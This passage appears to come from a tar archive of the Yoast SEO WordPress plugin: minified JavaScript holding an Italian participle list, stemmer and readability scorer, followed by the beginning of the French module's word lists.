essal","smess","smezzat","smidollat","smielat","smilitarizzat","sminat","sminuit","sminuzzat","smistat","smitizzat","smobiliat","smobilitat","smobilizzat","smoccolat","smollicat","smonacat","smontat","smorbat","smorzat","smoss","smozzicat","smunt","smurat","smussat","smutandat","snaturat","snazionalizzat","snebbiat","snellit","snervat","snidat","sniffat","snobbat","snocciolat","snodat","snudat","sobbarcat","sobbollit","sobillat","socchius","soccors","soddisfatt","sodisfatt","sodomizzat","sofferit","soffermat","soffert","soffiat","soffocat","soffregat","soffritt","soffus","sofisticat","soggettivat","soggettivizzat","sogghignat","soggiogat","soggiunt","sogguardat","sognat","solarizzat","solcat","soleggiat","solennizzat","solfeggiat","solfitat","solfonat","solforat","solidificat","solit","sollazzat","sollecitat","solleticat","sollevat","solt","solubilizzat","solut","soluzionat","solvatat","somatizzat","someggiat","somigliat","sommat","sommers","sommess","somministrat","sommoss","sonat","sondat","sonorizzat","sopit","soppalcat","soppesat","soppiantat","sopportat","soppost","soppress","sopraddotat","sopraeccitat","sopraedificat","sopraelevat","sopraffat","sopraffatt","sopraggiunt","sopraintes","soprammess","soprannominat","soprapost","soprappres","soprascritt","sopraspes","soprassaturat","soprassedut","sopravanzat","sopravvalutat","sopravvedut","sopravvint","sopravvist","sopreccitat","sopredificat","soprelevat","soprintes","sorbettat","sorbit","sorgiunt","sormontat","sorpassat","sorpres","sorras","sorrett","sorseggiat","sorteggiat","sortit","sorvegliat","sorvolat","soscritt","sospes","sospettat","sospint","sospirat","sostantivat","sostanziat","sostentat","sostenut","sostituit","sottaciut","sotterrat","sottes","sottintes","sottoalimentat","sottocapitalizzat","sottodivis","sottoespost","sottofirmat","sottolineat","sottomess","sottomurat","sottopagat","sottopassat","sottopost","sottorappresentat","sottoris","sottoscritt","sottostimat","sottosviluppat","sottotitolat","sottovalutat","sottratt","soverchiat","sovesciat","sovietizzat","sovracapitalizzat","sovraccaricat","sovradimensionat","sovraeccitat","sovraespost","sovraffaticat","sovraffollat","sovraggiunt","sovraimpost","sovraintes","sovralimentat","sovramodulat","sovrappopolat","sovrappost","sovrariscaldat","sovrasaturat","sovrascritt","sovrastampat","sovrastat","sovrastimat","sovrautilizzat","sovreccitat","sovrespost","sovrimpost","sovrintes","sovvenut","sovvenzionat","sovvertit","spaccat","spacchettat","spacciat","spaginat","spaiat","spalancat","spalat","spalcat","spalleggiat","spalmat","spammat","spampanat","spampinat","spanat","spanciat","spandut","spannat","spannocchiat","spans","spantanat","spant","spaparacchiat","spaparanzat","spappolat","sparat","sparecchiat","sparigliat","sparit","sparlat","sparpagliat","spartit","spassat","spassatosel","spastoiat","spaurat","spaurit","spaventat","spazializzat","spaziat","spazieggiat","spazientit","spazzat","spazzolat","specchiat","specializzat","specificat","specillat","specolat","spedit","spegnat","spelacchiat","spelat","spellat","spennacchiat","spennat","spennellat","spent","spenzolat","sperat","sperimentat","spernacchiat","speronat","sperperat","spersonalizzat","sperticat","spesat","spes","spessit","spettacolarizzat","spettinat","spezzat","spezzettat","spezziat","spezzonat","spiaccicat","spianat","spiantat","spiat","spiattellat","spiazzat","spiccat","spicciat","spiccicat","spicciolat","spicconat","spidocchiat","spiegat","spiegazzat","spietrat","spifferat","spigionat","spignorat","spigolat","spigrit","spillat","spilluzzicat","spiluccat","spint","spintonat","spiombat","spiralizzat","spirantizzat","spirat","spiritualizzat","spiumat","spizzicat","spodestat","spoetizzat","spogliat","spolettat","spoliat","spoliticizzat","spollonat","spolmonat","spolpat","spoltronit","spolverat","spolverizzat","spompat","spompinat","sponsorizzat","spopolat","spoppat","sporcat","sportat","sport","sposat","spossedut","spossessat","spostat","spost","sprangat","sprecat","spregiat","spremut","spretat","sprezzat","sprigionat","sprimacciat","spromess","spronat","sprotett","sprovincializzat","sprovvedut","sprovvist","spruzzat","spugnat","spulat","spulciat","spuntat","spuntellat","spupazzat","spurgat","sputacchiat","sputat","sputtanat","squadernat","squadrat","squagliat","squagliatasel","squagliat","squalificat","squamat","squarciat","squartat","squassat","squattrinat","squilibrat","squinternat","sradicat","srotolat","srugginit","stabbiat","stabilit","stabilizzat","stabulat","staccat","stacciat","staffat","staffilat","staggiat","staggit","stagionat","stagliat","stagnat","stamburat","stampat","stampigliat","stanat","stancat","standardizzat","stangat","stanziat","stappat","starat","starnazzat","stasat","statalizzat","statizzat","statuit","stazzat","stazzonat","steccacciat","steccat","stecchit","stecconat","stemperat","stempiat","stenografat","stereotipat","sterilit","sterilizzat","sterminat","sterpat","sterrat","sterzat","stes","stigliat","stigmatizzat","stilat","stilettat","stilizzat","stillat","stimat","stimolat","stint","stipat","stipendiat","stipulat","stiracchiat","stirat","stivat","stizzit","stoccat","stolt","stomacat","stonat","stondat","stoppat","stordit","storicizzat","stornat","storpiat","stortat","stort","stozzat","strabenedett","strabuzzat","stracannat","straccat","stracciat","stracott","strafogat","stragodut","stralciat","stralodat","stralunat","stramaledett","stramortit","strangolat","straniat","stranit","straorzat","strapagat","strapazzat","straperdut","strapers","strappat","strasaput","strascicat","strascinat","strasformat","stratificat","strattonat","stravaccat","stravint","stravolt","stravolut","straziat","stregat","stremat","stressat","striat","stridulat","strigat","strigliat","strillat","striminzit","strimpellat","strinat","stringat","strisciat","stritolat","strizzat","strofinat","strombat","strombazzat","stroncat","stronzat","stropicciat","stroppat","stroppiat","strozzat","struccat","strumentalizzat","strumentat","strusciat","strutt","strutturalizzat","strutturat","stuccat","studiacchiat","studiat","stuellat","stufat","stupefatt","stupit","stuprat","sturat","stutat","stuzzicat","suas","subaffittat","subappaltat","subbiat","subdelegat","subissat","subit","sublicenziat","sublimat","sublocat","subodorat","subordinat","subornat","suburbanizzat","sucat","succhiat","succhiellat","succiat","succint","succis","suddistint","suddivis","suffissat","suffiss","suffragat","suffumicat","suffus","suggellat","suggerit","suggestionat","suicidat","sunteggiat","sunt","suolat","suonat","superat","superpagat","superraffreddat","supervalutat","supervisionat","supplicat","supplit","supportat","suppost","suppurat","surclassat","surfat","surgelat","surraffreddat","surriscaldat","surrogat","survoltat","suscitat","susseguit","sussidiat","sussunt","sussurrat","suturat","svaccat","svagat","svaligiat","svalutat","svapat","svariat","svasat","svecchiat","svegliat","svelat","svelenit","sveltit","svelt","svenat","svendut","sventagliat","sventat","sventolat","sventrat","sverginat","svergognat","svergolat","sverminat","sverniciat","svestit","svettat","svezzat","sviat","svignatosel","svigorit","svilit","svillaneggiat","sviluppat","svinat","svincolat","sviolinat","svirgolat","svirilizzat","svisat","sviscerat","svitat","sviticchiat","svolat","svolazzat","svolt","svolut","svuotat","tabuizzat","tabulat","taccat","taccheggiat","tacciat","tacitat","taciut","tagliat","taglieggiat","tagliuzzat","talebanizzat","tallonat","tampinat","tamponat","tangut","tannat","tappat","tappezzat","tarat","tardat","targat","tariffat","tarlat","tarmat","taroccat","tarpat","tartagliat","tartassat","tartufat","tassat","tassellat","tastat","tasteggiat","tatuat","tecnicizzat","tecnologizzat","tedeschizzat","tediat","teflonat","telecomandat","telecontrollat","telediffus","telefonat","telegrafat","teleguidat","telematizzat","telemetrat","teleradiotrasmess","teletrasmess","teletrasportat","tematizzat","temperat","tempestat","tempificat","templatizzat","temporizzat","temprat","temut","tentat","tenut","teologizzat","teorizzat","tepefatt","terebrat","terminat","termostatat","terrazzat","terrificat","terrorizzat","ters","terzarolat","terziarizzat","terziat","tesat","tesaurizzat","tes","tesserat","testat","testificat","testimoniat","timbrat","tindalizzat","tinteggiat","tint","tipicizzat","tipizzat","tippat","tiranneggiat","tirat","titillat","titolat","toccat","toelettat","tollerat","tolt","tonalizzat","tonificat","tonneggiat","tonsurat","torchiat","tormentat","tornit","torrefatt","tort","tortoreggiat","torturat","tosat","toscaneggiat","toscanizzat","tostat","totalizzat","traboccat","trabuccat","tracannat","tracciat","tradit","tradott","trafficat","trafilat","trafitt","traforat","trafugat","traghettat","traguardat","trainat","tralasciat","tralignat","tramandat","tramat","trambasciat","tramess","tramestat","tramezzat","tramortit","tramutat","tranciat","trangugiat","tranquillat","tranquillizzat","transatt","transces","transcodificat","transcors","transcritt","transennat","transfluit","transfus","transistorizzat","translitterat","transpost","transricevut","transustanziat","transvedut","transvist","trapanat","trapassat","trapiantat","traportat","trapost","trappost","trapuntat","trapunt","trarott","trasandat","trasbordat","trascelt","trasces","trascinat","trascors","trascritt","trascurat","trasdott","trasferit","trasfigurat","trasformat","trasfus","trasgredit","traslat","traslitterat","traslocat","trasmess","trasmutat","trasparit","traspirat","trasportat","traspost","trastullat","trasudat","trasvolat","trasvolt","trattat","tratteggiat","trattenut","tratt","traumatizzat","travagliat","travalicat","travasat","travedut","traversat","travestit","traviat","travisat","travist","travolt","trebbiat","triangolat","tribbiat","tribolat","tributat","triennalizzat","trimestralizzat","trincat","trincerat","trinciat","tripartit","triplicat","trisecat","trisezionat","tritat","triturat","trivellat","trollat","trombat","troncat","tropicalizzat","trovat","truccat","trucidat","truffat","tuffat","tumefatt","tumulat","turat","turbat","turlupinat","tutelat","twittat","ubbidit","ubbligat","ubicat","ubidit","ubiquitinat","ubriacat","uccellat","uccellinat","uccis","udit","ufficializzat","ufficiat","uggit","ugnat","uguagliat","ulcerat","ulit","ulolat","ultimat","ultracentrifugat","ululat","umanat","umanizzat","umettat","umidificat","umidit","umiliat","uncinat","unguentat","unificat","uniformat","unit","univerbat","universaleggiat","universalizzat","untat","unt","uperizzat","urbanizzat","urgenzat","urlat","urtacchiat","urtat","urticchiat","usat","usciolat","usolat","ustionat","usucapit","usurat","usurpat","utilitat","utilizzat","vaccinat","vagabondeggiat","vagellat","vagheggiat","vagillat","vagliat","valcat","valicat","validat","valorizzat","vals","valutat","vanagloriat","vanat","vandalizzat","vangat","vangelizzat","vanificat","vanit","vantaggiat","vantat","vaporat","vaporizzat","varat","varcat","variat","vasectomizzat","vaticinat","vedovat","vedut","vegetat","veggiat","vegliat","veicolat","velarizzat","velat","velettat","velinat","vellicat","vellutat","velocizzat","vendemmiat","vendicat","vendicchiat","venducchiat","vendut","venerat","vengiat","ventagliat","ventilat","ventolat","verbalizzat","vergat","vergheggiat","vergognat","vergolat","verificat","verminat","vernalizzat","verniciat","verrinat","versat","verseggiat","versificat","verticalizzat","vessat","vestit","vestit","vetrificat","vetrinat","vetrioleggiat","vettovagliat","vezzeggiat","viaggiat","vicinat","vicitat","videochattat","videochiamat","videocomunicat","videoregistrat","videotrasmess","vidimat","vigilat","vigliat","vigoreggiat","vigorit","vilificat","vilipes","villaneggiat","vincolat","vint","violat","violentat","violinat","virgolat","virgoleggiat","virgolettat","virilizzat","virtualizzat","visionat","visitat","vissut","vistat","vist","visualizzat","vitaliziat","vitalizzat","vitaminizzat","vittimizzat","vituperat","vivacizzat","vivandat","vivificat","vivisezionat","viziat","vocabolarizzat","vocalizzat","vocat","vociferat","volantinat","volatilizzat","volgarizzat","volicchiat","volpeggiat","voltat","volt","voltolat","volturat","voluminizzat","volut","volutoc","vomitat","vorat","votat","vulcanizzat","vuotat","wappat","wikificat","xerocopiat","zaffat","zampat","zampettat","zampillat","zannat","zappat","zappettat","zapponat","zavorrat","zeppat","zigrinat","zigzagat","zimbellat","zincat","zinnat","zipolat","zippat","zirlat","zittit","zizzagat","zoccolat","zollat","zombat","zonat","zonizzat","zoppat","zoppeggiat","zoppicat","zucconat","zufolat","zumat","zuppat"],{getWords:Y}=i.languageProcessing;const{directPrecedenceException:Z,precedenceException:aa,values:ta}=i.languageProcessing,{Clause:ia}=ta,ea=["fui","fu","fosti","fummo","foste","furono","stato","stati","stata","state","venire","vengo","vieni","viene","veniamo","venite","vengono","venivo","venivi","veniva","venivamo","venivate","venivano","verrò","verrai","verrà","verremo","verrete","verranno","venni","venisti","venne","venimmo","veniste","vennero","verrei","verresti","verrebbe","verremmo","verreste","verrebbero","venga","veniamo","venite","vengano","veniate","venissi","venisse","venissimo","veniste","venissero","andare","vado","vai","va","andiamo","andate","vanno","andavo","andavi","andava","andavamo","andavate","andavano","vada","andiate","andante","andato","andassi","andasse","andassimo","andaste","andassero","andai","andasti","andò","andammo","andarono","andrò","andrai","andrà","andremo","andrete","andranno","andrei","andresti","andrebbe","andremmo","andreste","andrebbero","vadano","andando"],{createRegexFromArray:ra,getClauses:sa}=i.languageProcessing,oa={Clause:class extends ia{constructor(a,t){super(a,t),this._participles=function(a){return Y(a).filter((a=>function(a){return["a","o","e","i"].some((t=>{if(a.length>3&&a.endsWith(t)){const t=a.slice(0,-1);return X.includes(t)}}))}(a)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const a=this.getClauseText(),t=this.getParticiples().filter((t=>!Z(a,t,I)&&!aa(a,t,J)));this.setPassive(t.length>0)}},stopwords:V,auxiliaries:ea,regexes:{auxiliaryRegex:ra(ea),stopCharacterRegex:/([:,])(?=[ \n\r\t'"+\-»«‹›<>])/gi,followingAuxiliaryExceptionRegex:ra(["il","i","la","le","lo","gli","uno","una"]),directPrecedenceExceptionRegex:ra(["mi","ti","si","ci","vi"])}};function na(a){return sa(a,oa)}const ca=window.lodash,{createSingleRuleFromArray:la,createRulesFromArrays:pa}=i.languageProcessing;function ma(a,t){return t.externalStemmer.vowels.includes(a)}function da(a,t){for(let i=0;i<t.length;i++)if(a.endsWith(t[i]))return t[i];return""}const ua=function(a,t){for(const i of t)if(i[1].includes(a))return i[0];return null},{baseStemmer:ga}=i.languageProcessing;function za(a){const t=(0,ca.get)(a.getData("morphology"),"it",!1);return t?a=>function(a,t){const i=ua(a,t.irregularPluralNounsAndAdjectives);if(i)return i;const e=ua(a,t.irregularVerbs);if(e)return e;if((a=function(a,t){a=function(a,t){const i=pa(t.externalStemmer.preProcessing.acuteReplacements,"gi");for(const t of i)a=a.replace(t.reg,t.repl);return a}(a=a.toLowerCase(),t);const i=la(t.externalStemmer.preProcessing.quReplacement,"g");return a=function(a,t){return a.replace(new RegExp(t.externalStemmer.preProcessing.vowelMarking,"g"),((a,t,i,e)=>t+i.toUpperCase()+e))}(a=a.replace(i.reg,i.repl),t),a}(a,t)).length<3)return a;const{r1:r,r2:s,rv:o}=function(a,t){let i=a.length,e=a.length,r=a.length;for(let e=0;e<a.length-1&&i===a.length;e++)ma(a[e],t)&&!ma(a[e+1],t)&&(i=e+2);for(let r=i;r<a.length-1&&e===a.length;r++)ma(a[r],t)&&!ma(a[r+1],t)&&(e=r+2);return a.length>3&&(r=ma(a[1],t)?ma(a[0],t)&&ma(a[1],t)?function(a,t,i){const e=a.length;for(let i=2;i<e;i++)if(!ma(a[i],t))return i;return e}(a,t)+1:3:function(a,t,i){const e=a.length;for(let i=2;i<e;i++)if(ma(a[i],t))return i;return e}(a,t)+1),{r1:i,r2:e,rv:r}}(a,t);let n=a.substring(r),c=a.substring(s),l=a.substring(o);const p=a;(a=function(a,t,i){const e=da(a,t.externalStemmer.pronounSuffixes.suffixes);if(""!==e){const r=da(i.slice(0,-e.length),t.externalStemmer.pronounSuffixes.preSuffixesGerund),s=da(i.slice(0,-e.length),t.externalStemmer.pronounSuffixes.preSuffixesInfinitive);""!==r&&(a=a.slice(0,-e.length)),""!==s&&(a=a.slice(0,-e.length)+t.externalStemmer.pronounSuffixes.infinitiveCompletion)}return a}(a,t,l))!==p&&(n=a.substring(r),c=a.substring(s),l=a.substring(o));const m=a;(a=function(a,t,i,e,r){const s={r1:e,r2:i,rv:r};for(const i of t.externalStemmer.standardSuffixes){const t=da(s[i.region],i.suffixes);if(t)return a.slice(0,-t.length)+i.replacement}return a}(a,t,c,n,l))!==m&&(l=a.substring(o)),m===a&&(a=function(a,t,i){const e=da(i,t.externalStemmer.verbSuffixes);return e&&(a=a.slice(0,-e.length)),a}(a,t,l)),l=a.substring(o);let d="";""!==(d=da(l,t.externalStemmer.generalSuffixes))&&(a=a.slice(0,-d.length)),l=a.substring(o),a=(a=function(a,t,i){const e=t.externalStemmer.digraphNormalization.digraphCh,r=t.externalStemmer.digraphNormalization.digraphGh;return i.endsWith(e[0])?a=a.slice(0,-r[0].length)+e[1]:i.endsWith(r[0])&&(a=a.slice(0,-r[0].length)+r[1]),a}(a,t,l)).toLowerCase();const u=function(a,t){for(const i of t.verbsWithMultipleStems)if(i.includes(a))return i[0];for(const i of t.irregularDiminutives)if(i.includes(a))return i[0]}(a,t.stemsThatBelongToOneWord);return u||a.toLowerCase()}(a,t):ga}const{formatNumber:fa}=i.helpers;function va(a){const t=217-1.3*a.averageWordsPerSentence-.6*a.syllablesPer100Words;return fa(t)}const{AbstractResearcher:ba}=i.languageProcessing;class ha extends ba{constructor(a){super(a),Object.assign(this.config,{language:"it",passiveConstructionType:"periphrastic",firstWordExceptions:e,functionWords:U,stopWords:V,transitionWords:s,twoPartTransitionWords:H,syllables:K,sentenceLength:Q}),Object.assign(this.helpers,{getClauses:na,getStemmer:za,fleschReadingScore:va})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/fr.js000064400000210460147510273070013663 0ustar00(()=>{"use strict";var e={d:(i,t)=>{for(var s in t)e.o(t,s)&&!e.o(i,s)&&Object.defineProperty(i,s,{enumerable:!0,get:t[s]})},o:(e,i)=>Object.prototype.hasOwnProperty.call(e,i),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},i={};e.r(i),e.d(i,{default:()=>qe});const t=window.yoast.analysis,s=["le","la","les","un","une","deux","trois","quatre","cinq","six","sept","huit","neuf","dix","celui","celle","ceux","celles","celui-ci","celle-là","celui-là","celle-ci"],l=["ainsi","alors","aussi","car","cependant","certainement","certes","conséquemment","d'abord","d'ailleurs","d'après","davantage","désormais","deuxièmement","donc","dorénavant","effectivement","également","enfin","ensuite","entre-temps","essentiellement","excepté","finalement","globalement","jusqu'ici","là-dessus","lorsque","mais","malgré","néanmoins","notamment","partant","plutôt","pourtant","précédemment","premièrement","probablement","puis","puisque","quoique","sauf","selon","semblablement","sinon","suivant","toutefois","troisièmement"],r=l.concat(["à cause de","à ce jour","à ce propos","à ce sujet","à cet égard","à cette fin","à compter de","à condition que","à défaut de","à force de","à juste titre","à la lumière de","à la suite de","à l'aide de","à l'appui de","à l'encontre de","à l'époque actuelle","à l'exception de","à l'exclusion de","à l'heure actuelle","à l'image de","à l'instar de","à l'inverse","à l'inverse de","à l'opposé","à la condition que","à mesure que","à moins que","à nouveau","à partir de","à première vue","à savoir","à seule fin que","à supposer que","à tel point que","à tout prendre","à vrai dire","afin de","afin d'attirer l'attention sur","afin que","ainsi donc","ainsi que","alors que","antérieurement","après cela","après quoi","après que","à propos de","en l'occurence","après réflexion","après tout","attendu que","au cas où","au contraire","au fond","au fur et à mesure","au lieu de","au même temps","au moment où","au moyen de","au point que","au risque de","au surplus","au total","aussi bien que","aussitôt que","autant que","autrement dit","avant que","avant tout","ayant fini","bien que","c'est à dire que","c'est ainsi que","c'est dans ce but que","c'est dire","c'est le cas de","c'est la raison pour laquelle","c'est pourquoi","c'est qu'en effet","c'est-à-dire","ça confirme que","ça montre que","ça prouve que","cela étant","cela dit","cependant que","compte tenu","comme l'illustre","comme le souligne","comme on pouvait s'y attendre","comme quoi","comme si","commençons par examiner","comparativement à","conformément à","contrairement à","considérons par exemple","d'autant plus","d'autant que","d'autre part","d'ici là","d'où","d'un autre côté","d'un côté","d'une façon générale","dans ce cas","dans ces conditions","dans cet esprit","dans l'ensemble","dans l'état actuel des choses","dans l'éventualité où","dans l'hypothèse où","dans la mesure où","dans le but de","dans le cadre de","dans le cas où","dans les circonstances actuelles","dans les grandes lignes","dans un autre ordre d'idée","dans un délai de","de ce fait","de cette façon","de crainte que","de façon à","de façon à ce que","de façon que","de fait","de l'autre côté","de la même manière","de la même façon que","de manière que","de même","de même qu'à","de même que","de nos jours","de peur que","de prime abord","de sorte que","de surcroît","de telle manière que","de telle sorte que","de toute évidence","de toute façon","de toute manière","depuis que","dès lors que","dès maintenant","dès qua","dès que","du fait que","du moins","du moment que","du point de vue de","du reste","d'ici là","d'ores et déjà","en admettant que","en attendant que","en bref","en cas de","en cas que","en ce cas","en ce domaine","en ce moment","en ce qui a trait à","en ce qui concerne","en ce sens","en cela","en comparaison de","en conclusion","en conformité avec","en conséquence","en d'autres termes","en définitive","en dépit de","pour cela","en dernier lieu","en deuxième lieu","en effet","en face de","en fait","en fin de compte","en général","en guise de conclusion","en matière de","en même temps que","en outre","en particulier","en plus","en premier lieu","en principe","en raison de","en réalité","en règle générale","en résumé","en revanche","en second lieu","en somme","en sorte que","en supposant que","en tant que","en terminant","en théorie","en tout cas","en tout premier lieu","en troisième lieu","en un mot","en vérité","en vue que","encore que","encore une fois","entre autres","et même","et puis","étant donné qu'à","étant donné que","face à","grâce à","il est à noter que","il est indéniable que","il est question de","il est vrai que","il faut dire aussi que","il faut reconnaître que","il faut souligner que","il ne faut pas oublier que","il s'ensuit que","il suffit de prendre pour exemple","jusqu'ici","il y a aussi","jusqu'à ce que","jusqu'à ce jour","jusqu'à maintenant","jusqu'à présent","jusqu'au moment où","jusqu'ici","l'aspect le plus important de","l'exemple le plus significatif","jusqu'au moment où","la preuve c'est que","loin que","mais en réalité","malgré cela","malgré tout","même si","mentionnons que","mis à part le fait que","notons que","nul doute que","ou bien","outre cela","où que","par ailleurs","par conséquent","par contre","par exception","par exemple","par la suite","par l'entremise de","par l'intermédiaire de","par rapport à","par suite","par suite de","par surcroît","parce que","pareillement","partant de ce fait","pas du tout","pendant que","plus précisément","plus tard","pour ainsi dire","pour autant que","pour ce qui est de","pour ces motifs","pour ces raisons","pour cette raison","pour commencer","pour conclure","pour le moment","pour marquer la causalité","pour l'instant","pour peu que","pour prendre un autre exemple","pour que","pour résumé","pour terminer","pour tout dire","pour toutes ces raisons","pourvu que","prenons le cas de","quand bien même que","quand même","quant à","quel que soit","qui plus est","surtout quand","qui que","quitte à","quoi qu'il en soit","quoi que","quoiqu'il en soit","sans délai","sans doute","sans parler de","sans préjuger","sans tarder","sauf si","selon que","si bien que","si ce n'est que","si l'on songe que","sitôt que","somme toute","sur ce point","surtout si","sous cette réserve","sous prétexte que","sous réserve de","sous réserve que","suivant que","supposé que","sur le plan de","tandis que","tant et si bien que","tant que","tel que","tellement que","touchant à","tout à fait","tout bien pesé","tout compte fait","tout d'abord","tout de même","tout en reconnaissant que","une fois de plus","vu que"]);function n(e){let i=e;return e.forEach((t=>{(t=t.split("-")).length>0&&t.filter((i=>!e.includes(i))).length>0&&(i=i.concat(t))})),i}const a=["le","la","les","un","une","des","aux","du","au","d'un","d'une","l'un","l'une"],o=["deux","trois","quatre","cinq","six","sept","huit","neuf","dix","onze","douze","treize","quatorze","quinze","seize","dix-sept","dix-huit","dix-neuf","vingt","trente","quarante","cinquante","soixante","soixante-dix","quatre-vingt","quatre-vingt-dix","septante","huitante","octante","nonante","cent","mille","million","milliard"],u=["second","secondes","deuxième","deuxièmes","troisième","troisièmes","quatrième","quatrièmes","cinquième","cinquièmes","sixième","sixièmes","septième","septièmes","huitième","huitièmes","neuvième","neuvièmes","dixième","dixièmes","onzième","onzièmes","douzième","douzièmes","treizième","treizièmes","quatorzième","quatorzièmes","quinzième","quinzièmes","seizième","seizièmes","dix-septième","dix-septièmes","dix-huitième","dix-huitièmes","dix-neuvième","dix-neuvièmes","vingtième","vingtièmes"],d=["je","tu","il","elle","on","nous","vous","ils","elles","qu'il","qu'elle","qu'ils","qu'elles","qu'on","d'elle","d'elles"],c=["moi","toi","lui","soi","eux","d'eux","qu'eux"],m=["me","te"],p=["celui","celle","ceux","celles","ce","celui-ci","celui-là","celle-ci","celle-là","ceux-ci","ceux-là","celles-ci","celles-là","ceci","cela","ça","cette","cet","ces"],b=["mon","ton","son","ma","ta","sa","mes","tes","ses","notre","votre","leur","nos","vos","leurs"],f=["beaucoup","peu","quelque","quelques","tous","tout","toute","toutes","plusieurs","plein","chaque","suffisant","suffisante","suffisantes","suffisants","faible","moins","tant","plus","divers","diverse","diverses"],v=["se"],g=["aucun","aucune","autre","autres","d'autres","certain","certaine","certaines","certains","chacun","chacune","même","mêmes","quelqu'un","quelqu'une","quelques'uns","quelques'unes","autrui","nul","personne","quiconque","rien","d'aucunes","d'aucuns","nuls","nules","l'autre","tel","telle","tels","telles"],y=["qui","que","lequel","laquelle","auquel","auxquels","auxquelles","duquel","desquels","desquelles","dont","où","quoi"],w=["combien","comment","pourquoi","d'où"],h=["quel","quels","quelle"],q=["y","n'y"],x=["là","ici","d'ici","voici"],z=["a","a-t-elle","a-t-il","a-t-on","ai","ai-je","aie","as","as-tu","aura","aurai","auraient","aurais","aurait","auras","aurez","auriez","aurons","auront","avaient","avais","avait","avez","avez-vous","aviez","avions","avons","avons-nous","ayez","ayons","eu","eûmes","eurent","eus","eut","eûtes","j'ai","j'aurai","j'avais","j'eus","ont","ont-elles","ont-ils","vais","vas","va","allons","allez","vont","vais-je","vas-tu","va-t-il","va-t-elle","va-t-on","allons-nous","allez-vous","vont-elles","vont-ils","allé","allés","j'allai","allai","allas","alla","allâmes","allâtes","allèrent","j'allais","allais","allait","allions","alliez","allaient","j'irai","iras","ira","irons","irez","iront","j'aille","aille","ailles","aillent","j'allasse","allasse","allasses","allât","allassions","allassiez","allassent","j'irais","irais","irait","irions","iriez","iraient","allant","viens","vient","venons","venez","viennent","viens-je","viens-de","vient-il","vient-elle","vient-on","venons-nous","venez-vous","viennent-elles","viennent-ils","vins","vint","vînmes","vîntes","vinrent","venu","venus","venais","venait","venions","veniez","venaient","viendrai","viendras","viendra","viendrons","viendrez","viendront","vienne","viennes","vinsse","vinsses","vînt","vinssions","vinssiez","vinssent","viendrais","viendrait","viendrions","viendriez","viendraient","venant","dois","doit","devons","devez","doivent","dois-je","dois-tu","doit-il","doit-elle","doit-on","devons-nous","devez-vous","doivent-elles","doivent-ils","dus","dut","dûmes","dûtes","durent","dû","devais","devait","devions","deviez","devaient","devrai","devras","devra","devrons","devrez","devront","doive","doives","dusse","dusses","dût","dussions","dussiez","dussent","devrais","devrait","devrions","devriez","devraient","peux","peut","pouvons","pouvez","peuvent","peux-je","peux-tu","peut-il","peut-elle","peut-on","pouvons-nous","pouvez-vous","peuvent-ils","peuvent-elles","pus","put","pûmes","pûtes","purent","pu","pouvais","pouvait","pouvions","pouviez","pouvaient","pourrai","pourras","pourra","pourrons","pourrez","pourront","puisse","puisses","puissions","puissiez","puissent","pusse","pusses","pût","pussions","pussiez","pussent","pourrais","pourrait","pourrions","pourriez","pourraient","pouvant","semble","sembles","semblons","semblez","semblent","semble-je","sembles-il","sembles-elle","sembles-on","semblons-nous","semblez-vous","semblent-ils","semblent-elles","semblai","semblas","sembla","semblâmes","semblâtes","semblèrent","semblais","semblait","semblions","sembliez","semblaient","semblerai","sembleras","semblera","semblerons","semblerez","sembleront","semblé","semblasse","semblasses","semblât","semblassions","semblassiez","semblassent","semblerais","semblerait","semblerions","sembleriez","sembleraient","parais","paraît","ait","paraissons","paraissez","paraissent","parais-je","parais-tu","paraît-il","paraît-elle","paraît-on","ait-il","ait-elle","ait-on","paraissons-nous","paraissez-vous","paraissent-ils","paraissent-elles","parus","parut","parûmes","parûtes","parurent","paraissais","paraissait","paraissions","paraissiez","paraissaient","paraîtrai","paraîtras","paraîtra","paraîtrons","paraîtrez","paraîtront","paru","paraisse","paraisses","parusse","parusses","parût","parussions","parussiez","parussent","paraîtrais","paraîtrait","paraîtrions","paraîtriez","paraîtraient","paraitrais","paraitrait","paraitrions","paraitriez","paraitraient","paraissant","mets","met","mettons","mettez","mettent","mets-je","mets-tu","met-il","met-elle","met-on","mettons-nous","mettez-vous","mettent-ils","mettent-elles","mis","mit","mîmes","mîtes","mirent","mettais","mettait","mettions","mettiez","mettaient","mettrai","mettras","mettra","mettrons","mettrez","mettront","mette","mettes","misse","misses","mît","missions","missiez","missent","mettrais","mettrait","mettrions","mettriez","mettraient","mettant","finis","finit","finissons","finissez","finissent","finis-je","finis-tu","finit-il","finit-elle","finit-on","finissons-nous","finissez-vous","finissent-ils","finissent-elles","finîmes","finîtes","finirent","finissais","finissait","finissions","finissiez","finissaient","finirai","finiras","finira","finirons","finirez","finiront","fini","finisse","finisses","finît","finirais","finirait","finirions","finiriez","finiraient","finissant","n'a","n'ai","n'aie","n'as","n'aura","n'aurai","n'auraient","n'aurais","n'aurait","n'auras","n'aurez","n'auriez","n'aurons","n'auront","n'avaient","n'avais","n'avait","n'avez","n'avez-vous","n'aviez","n'avions","n'avons","n'avons-nous","n'ayez","n'ayons","n'ont","n'ont-elles","n'ont-ils","n'allons","n'allez","n'allais","n'allait","n'allions","n'alliez","n'allaient","n'iras","n'ira","n'irons","n'irez","n'iront","qu'a"],j=["avoir","aller","venir","devoir","pouvoir","sembler","paraître","paraitre","mettre","finir","d'avoir","d'aller","n'avoir","l'avoir"],E=["suis","es","est","est-ce","n'est","sommes","êtes","sont","suis-je","es-tu","est-il","est-elle","est-on","sommes-nous","êtes-vous","sont-ils","sont-elles","étais","était","étions","étiez","étaient","serai","seras","sera","serons","serez","seront","serais","serait","serions","seriez","seraient","sois","soit","soyons","soyez","soient","été","n'es","n'est-ce","n'êtes","n'était","n'étais","n'étions","n'étiez","n'étaient","qu'est"],S=["être","d'être"],R=["à","après","d'après","au-delà","au-dessous","au-dessus","avant","avec","concernant","chez","contre","dans","de","depuis","derrière","dès","devant","durant","en","entre","envers","environ","hormis","hors","jusque","jusqu'à","jusqu'au","jusqu'aux","loin","moyennant","outre","par","parmi","pendant","pour","près","quant","sans","sous","sur","travers","vers","voilà"],P=["et","ni","or","ou"],C=["non","pas","seulement","sitôt","aussitôt","d'autre"],W=["afin","autant","comme","d'autant","d'ici","quand","lors","parce","si","tandis"],k=["dit","disent","dit-il","dit-elle","disent-ils","disent-elles","disait",